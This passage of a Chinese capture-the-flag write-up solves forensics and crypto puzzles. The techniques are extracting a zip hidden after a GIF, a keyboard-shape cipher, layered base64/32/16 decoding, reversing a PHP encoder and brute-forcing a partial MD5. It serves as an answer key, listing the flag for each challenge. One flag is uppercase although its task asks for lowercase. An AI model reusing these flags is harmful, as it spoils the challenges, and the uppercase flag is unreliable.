foremost分离一下,得到zip,解压是另一张gif图片
翻到最后一张,最后一句话是:都深深的出卖了我
所以flag是nctf{dssdcmlw}
丘比龙De女神
题干
丘比龙是丘比特的弟弟,由于吃了太多的甜甜圈导致他飞不动了!
没错 里面隐藏了一张女神的照片
flag是照片文件的md5值(小写)
记住加上flag{}
题解
先扔进binwalk
看一下
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 GIF image data, version "87a", 100 x 100
115088 0x1C190 End of Zip archive
发现一个zip结尾,但并没有发现开头
我们首先是要找到gif的结尾,将zip部分分离出来
我们找到3B
,将前面删除后,观察一下,发现有个love
字样,而我们知道正常的zip
开头是PK
我们将最前面的00
也删除,同时,将6C6F7665
改为常见的zip头504B0304
改一下文件名后缀为zip
,成功打开,并且有加密,猜测密码是刚才那个love
成功解压。获得一张nvshen.jpg
计算一下它的md5
值为A6CAAD3AAAFA11B6D5ED583BEF4D8A54
所以flag就是flag{A6CAAD3AAAFA11B6D5ED583BEF4D8A54}
密码学
easy!
题干
密文:bmN0Znt0aGlzX2lzX2Jhc2U2NF9lbmNvZGV9
这题做不出来就剁手吧!
题解
base64解码,得到nctf{this_is_base64_encode}
KeyBoard!
题干
看键盘看键盘看键盘!
答案非标准格式,提交前加上nctf{}
ytfvbhn tgbgy hjuygbn yhnmki tgvhn uygbnjm uygbn yhnijm
题解
提示看键盘
我们发现每一小段按顺序走一遍都是一个字母
ytfvbhn ------ a
tgbgy -------- r
hjuygbn ------ e
yhnmki ------- u
tgvhn -------- h
uygbnjm ------ a
uygbn -------- c
yhnijm ------- k
该根据格式,得到flag:nctf{areuhack}
base64全家桶
题干
全家桶全家桶全家桶!
我怎么饿了。。。。。。
密文(解密前删除回车):R1pDVE1NWlhHUTNETU4yQ0dZWkRNTUpYR00zREtNWldHTTJES
1JSV0dJM0RDTlpUR1kyVEdNWlRHSTJVTU5SUkdaQ1RNTkJWSVk
zREVOUlJHNFpUTU5KVEdFWlRNTjJF
题解
R1pDVE1NWlhHUTNETU4yQ0dZWkRNTUpYR00zREtNWldHTTJES1JSV0dJM0RDTlpUR1kyVEdNWlRHSTJVTU5SUkdaQ1RNTkJWSVkzREVOUlJHNFpUTU5KVEdFWlRNTjJF
先base64解码,得到
GZCTMMZXGQ3DMN2CGYZDMMJXGM3DKMZWGM2DKRRWGI3DCNZTGY2TGMZTGI2UMNRRGZCTMNBVIY3DENRRG4ZTMNJTGEZTMN2E
再base32解码,得到
6E6374667B6261736536345F6261736533325F616E645F6261736531367D
最后base16解码,得到
nctf{base64_base32_and_base16}
或者我们可以拿脚本跑一下
import random
from base64 import *
f = open("base64_string.txt", "r")
f2 = open("flag.txt", "w")
# f1 = open("str.txt","w")
str = ""
if f:
while True:
line = f.readline()
if line:
line = line.strip('\r\n')
str += line
else:
break
result={
'16':lambda x:b16decode(x),
'32':lambda x:b32decode(x),
'64':lambda x:b64decode(x),
}
while True:
try:
str=result['16'](str)
continue
except:
pass
try:
str=result['32'](str)
continue
except:
pass
try:
str=result['64'](str)
continue
except:
pass
break
print str
f2.write(str)
也可以得到相同结果
n次base64
题干
依然是base64
不过。。。编码次数有点多
请用python解吧~
题解
运行上一题脚本
得到flag:nctf{please_use_python_to_decode_base64}
骚年来一发吗
题干
密文:iEJqak3pjIaZ0NzLiITLwWTqzqGAtW2oyOTq1A3pzqas
加密代码:
function encode($str)
{
$_o = strrev($str);
for($_0 = 0; $_0 < strlen($_o); $_0++)
{
$_c = substr($_o, $_0, 1);
$__ = ord($_c) + 1;
$_c = chr($__);
$_ = $_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}
题解
我们来写个解密脚本
<?php
function decode($str)
{
$str = base64_decode((strrev(str_rot13($str))));
$_o = strrev($str);
for($_0=0;$_0<strlen($_o);$_0++)
{
$_c = substr($_o,$_0,1);
$__ = ord($_c) - 1;
$_c = chr($__);
$_ = $_.$_c;
}
return $_;
}
$str = 'iEJqak3pjIaZ0NzLiITLwWTqzqGAtW2oyOTq1A3pzqas';
echo decode($str);
运行一下得到nctf{rot13_and_base64_and_strrev}
mixed_base64
题干
多重base64加密,
干(sang)得(xin)漂(bing)亮(kuang)!
题解
还是运行之前的那个脚本,得到nctf{random_mixed_base64_encode}
MD5
题干
python大法好!
这里有一段丢失的md5密文
e9032???da???08????911513?0???a2
要求你还原出他并且加上nctf{}提交
已知线索 明文为: TASC?O3RJMV?WDJKX?ZM
题目来源:安恒杯
题解
写个脚本爆破一下
import hashlib
s = list('TASC?O3RJMV?WDJKX?ZM')
base = list('QAZWSXEDCRFVTGBYHNUJMIKOLP1234567890qazwsxedcrfvtgbyhnujmikolp')
for i in base:
s[4] = i
for j in base:
s[11] = j
for k in base:
s[17] = k
strtmp = ''.join(s)
md5 = str(hashlib.md5(strtmp).hexdigest())
if md5[:5] == 'e9032' and md5[-2:] == 'a2':
print strtmp
print md5
运行得到
TASCJO3RJMVKWDJKXLZM
e9032994dabac08080091151380478a2
所以flag是nctf{e9032994dabac08080091151380478a2}